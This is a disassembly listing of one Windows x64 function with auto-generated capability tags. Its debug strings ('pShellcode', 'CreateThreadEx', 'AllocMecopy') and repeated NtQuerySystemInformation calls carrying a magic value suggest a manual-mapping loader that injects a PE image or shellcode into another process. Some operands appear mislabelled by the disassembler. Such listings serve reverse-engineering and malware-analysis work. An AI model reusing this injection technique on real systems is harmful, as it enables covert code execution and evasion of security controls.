Function at 0x1407e7fe0
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x18], r8
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
movsxd r14, dword [0x140944adc]
lea rax, [0x140944aa0]
add r14, rax
xor r12d, r12d
mov rax, qword [0x140ff04b0]
mov rsi, rdx
test rax, rax
jne 0x1407e8092
lea rax, [rbp + 0x100]
mov dword [rbp + 0x100], 4
mov qword [rbp - 0x64], rax
lea r8d, [r12 + 0x14]
lea rax, [rbp - 0x78]
mov qword [rbp - 0x6c], r12
xor r9d, r9d
mov qword [rbp - 0x24], rax
lea rdx, [rbp - 0x28]
mov qword [rbp - 0x5c], r12
lea ecx, [r12 + 0x4c]
mov dword [rbp - 0x78], 0x399e
mov dword [rbp - 0x74], esi
mov dword [rbp - 0x70], gethostbyname
mov qword [rbp - 0x1c], r12
mov dword [rbp - 0x28], 0x54455350
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov rax, qword [rbp - 0x5c]
mov qword [0x140ff04b0], rax
mov qword [rbp + 0x44], rax
lea rdx, [rbp - 0x10]
xor r9d, r9d
mov qword [rbp + 0x54], r12
lea rax, str.C:WindowsTenRpcs.dll
mov dword [rbp + 0x38], 0x399b
mov qword [rbp + 0x4c], rax
lea rax, [rbp + 0x38]
mov qword [rbp - 0xc], rax
lea r8d, [r9 + 0x14]
mov dword [rbp + 0x3c], esi
lea ecx, [r9 + 0x4c]
mov dword [rbp + 0x40], gethostbyname
mov qword [rbp - 4], r12
mov dword [rbp - 0x10], 0x54455350
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rbp + 8]
mov qword [rbp - 0x44], rax
xor r9d, r9d
mov rax, qword [0x140ff04b0]
mov qword [rbp - 0x3c], rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0xc], rax
lea r8d, [r9 + 0x14]
mov dword [rbp - 0x48], r12d
lea ecx, [r9 + 0x4c]
mov qword [rbp - 0x34], r12
mov dword [rbp - 0x50], 0x399f
mov dword [rbp - 0x4c], esi
mov qword [rbp + 0x14], r12
mov dword [rbp + 8], 0x54455350
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov rbx, qword [rbp - 0x34]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x140ff04b0]
lea rdi, [0x140eea490]
xor r9d, r9d
mov qword [rsp + 0x44], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x54], r12
lea rdx, [rbp + 0x20]
mov dword [rsp + 0x38], 0x399b
mov dword [rsp + 0x3c], esi
lea r8d, [r9 + 0x14]
mov dword [rsp + 0x40], gethostbyname
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x4c], rdi
mov qword [rbp + 0x2c], r12
mov dword [rbp + 0x20], 0x54455350
mov qword [rbp + 0x24], rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
xor r9d, r9d
mov qword [rsp + 0x6c], r12
lea rax, [0x140818af0]
mov qword [rsp + 0x7c], r12
mov qword [rsp + 0x74], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x60], 0x399c
lea r8d, [r9 + 0x14]
mov dword [rsp + 0x68], socket
lea ecx, [r9 + 0x4c]
mov dword [rsp + 0x64], esi
mov qword [rsp + 0x2c], r12
mov dword [rsp + 0x20], 0x54455350
mov qword [rsp + 0x24], rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov rbx, qword [rsp + 0x7c]
lea rcx, str.GetGeBasex64A__ModBase____p_n
mov rdx, rbx
call fcn.1407dbb00
test rbx, rbx
jne 0x1407e8299
lea rax, [rbp + 0x100]
mov dword [rbp + 0x100], 4
mov qword [rsp + 0x74], rax
lea r8d, [rbx + 0x14]
mov eax, dword [r14 + 0x50]
lea rdx, [rsp + 0x20]
add eax, 0x1000
mov qword [rsp + 0x6c], r12
mov dword [rsp + 0x68], eax
lea ecx, [rbx + 0x4c]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x7c], r12
xor r9d, r9d
mov qword [rsp + 0x24], rax
mov dword [rsp + 0x60], 0x399e
mov dword [rsp + 0x64], esi
mov qword [rsp + 0x2c], r12
mov dword [rsp + 0x20], 0x54455350
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r13, qword [rsp + 0x7c]
lea rcx, str.AllocMecopy__111__p_n
mov rdx, r13
mov qword [rbp + 0x100], r13
call fcn.1407dbb00
jmp 0x1407e8312
lea r13, [rbx + 0x306000]
mov rdx, r13
mov qword [rbp + 0x100], r13
lea rcx, str.pShellcode__2222__p_n
call fcn.1407dbb00
xor r9d, r9d
mov qword [rsp + 0x54], r12
lea rax, [rsp + 0x38]
mov dword [rsp + 0x38], 0x399b
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x3c], esi
mov dword [rsp + 0x40], 0x106000
lea r8d, [r9 + 0x14]
mov qword [rsp + 0x44], r13
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x4c], rdi
mov qword [rsp + 0x2c], r12
mov dword [rsp + 0x20], 0x54455350
mov qword [rsp + 0x24], rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
lea rcx, str.2222222_n
call fcn.1407dbb00
mov rax, r13
lea rcx, str.333333333_n
lea r15, [rax + 0x1000]
call fcn.1407dbb00
xorps xmm0, xmm0
lea rcx, [0x140818b88]
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140818b78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140818b88]
mov qword [rbp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140818b98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140818bc0]
mov qword [rbp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlAddFunctionTable
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140818bc0]
mov qword [rbp + 0x80], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlImageDirectoryEntryToData
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x60], r15
mov edi, r12d
mov qword [rbp + 0x88], rax
mov eax, dword [r14 + 0x50]
mov dword [rbp + 0x68], eax
mov dword [rbp + 0x90], r12d
movzx ebx, word [r14 + 0x14]
add rbx, 0x24
cmp word [r14 + 6], di
je 0x1407e8490
add rbx, r14
lea r13, [0x140944aa0]
nop dword [rax]
mov eax, dword [rbx + 4]
test eax, eax
je 0x1407e847a
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x20]
mov eax, dword [rbx]
xor r9d, r9d
add rax, r15
mov qword [rsp + 0x54], r12
mov qword [rsp + 0x44], rax
mov eax, dword [rbx + 8]
add rax, r13
mov dword [rsp + 0x38], 0x399b
mov qword [rsp + 0x4c], rax
lea r8d, [r9 + 0x14]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x3c], esi
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x24], rax
mov qword [rsp + 0x2c], r12
mov dword [rsp + 0x20], 0x54455350
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
lea rcx, [0x140818bf0]
call fcn.1407dbb00
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x1407e8410
mov r13, qword [rbp + 0x100]
xor r9d, r9d
mov qword [rsp + 0x54], r12
lea rax, [0x140944aa0]
mov dword [rsp + 0x38], 0x399b
mov qword [rsp + 0x4c], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x3c], esi
lea r8d, [r9 + 0x14]
mov dword [rsp + 0x40], 0x500
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x44], r15
mov qword [rsp + 0x2c], r12
mov dword [rsp + 0x20], 0x54455350
mov qword [rsp + 0x24], rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
xor r9d, r9d
mov qword [rsp + 0x54], r12
lea rax, [rbp + 0x60]
mov dword [rsp + 0x38], 0x399b
mov qword [rsp + 0x4c], rax
lea rbx, [r15 + 0xf00]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x3c], esi
lea r8d, [r9 + 0x14]
mov dword [rsp + 0x40], 0x60
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x44], rbx
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x2c], r12
mov dword [rsp + 0x20], 0x54455350
mov qword [rsp + 0x24], rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
xor r9d, r9d
mov qword [rsp + 0x54], r12
lea rax, [0x1407e7d60]
mov dword [rsp + 0x38], 0x399b
mov qword [rsp + 0x4c], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x3c], esi
lea r8d, [r9 + 0x14]
mov dword [rsp + 0x40], 0x1000
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x44], r13
mov qword [rsp + 0x2c], r12
mov dword [rsp + 0x20], 0x54455350
mov qword [rsp + 0x24], rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
lea rcx, [0x140818bf4]
call fcn.1407dbb00
lea rcx, str.CreateThreadEx__111_n
call fcn.1407dbb00
xor r9d, r9d
mov dword [rsp + 0x68], r12d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x7c], r12
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x60], 0x399f
mov dword [rsp + 0x64], esi
lea r8d, [r9 + 0x14]
mov qword [rsp + 0x6c], r13
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x74], rbx
mov qword [rsp + 0x2c], r12
mov dword [rsp + 0x20], 0x54455350
mov qword [rsp + 0x24], rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, r13
lea rcx, str.pShellcode__33333333__p_n
call fcn.1407dbb00
mov ecx, 0x1400000
call fcn.1407f6fd4
mov r12, rax
test rax, rax
je 0x1407e87de
xor edx, edx
mov r8d, 0x1400000
mov rcx, r12
call fcn.1407eaf20
xor eax, eax
mov dword [rsp + 0x38], 0x399b
xor r9d, r9d
mov qword [rsp + 0x54], rax
mov qword [rsp + 0x2c], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x3c], esi
mov dword [rsp + 0x40], 0x1000
lea r8d, [r9 + 0x14]
mov qword [rsp + 0x44], r15
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x4c], r12
mov dword [rsp + 0x20], 0x54455350
mov qword [rsp + 0x24], rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [r14 + 0x14]
lea rbx, [r14 + 0x18]
add rbx, rax
xor edi, edi
cmp word [r14 + 6], di
je 0x1407e8781
nop
lea rcx, str.pdata_n
call fcn.1407dbb00
mov edx, dword [rbx + 8]
test edx, edx
je 0x1407e876e
xor ecx, ecx
lea r8, [0x140818c34]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x1407e86f6
cmp rcx, 6
jne 0x1407e86e0
jmp 0x1407e8714
xor eax, eax
lea r8, [0x140818c3c]
nop
movzx ecx, byte [rbx + rax]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x1407e876e
cmp rax, 7
jne 0x1407e8700
mov eax, dword [rbx + 0xc]
xor r9d, r9d
add rax, r15
mov dword [rsp + 0x40], edx
mov qword [rsp + 0x44], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x54], 0
lea r8d, [r9 + 0x14]
mov qword [rsp + 0x24], rax
lea ecx, [r9 + 0x4c]
mov dword [rsp + 0x38], 0x399b
mov dword [rsp + 0x3c], esi
mov qword [rsp + 0x4c], r12
mov qword [rsp + 0x2c], 0
mov dword [rsp + 0x20], 0x54455350
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x1407e86c0
xor r9d, r9d
mov qword [rsp + 0x54], 0
lea rax, [rsp + 0x38]
mov dword [rsp + 0x38], 0x399b
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x3c], esi
mov dword [rsp + 0x40], 0x1000
lea r8d, [r9 + 0x14]
mov qword [rsp + 0x44], r13
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x4c], r12
mov qword [rsp + 0x2c], 0
mov dword [rsp + 0x20], 0x54455350
mov qword [rsp + 0x24], rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov eax, 1
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret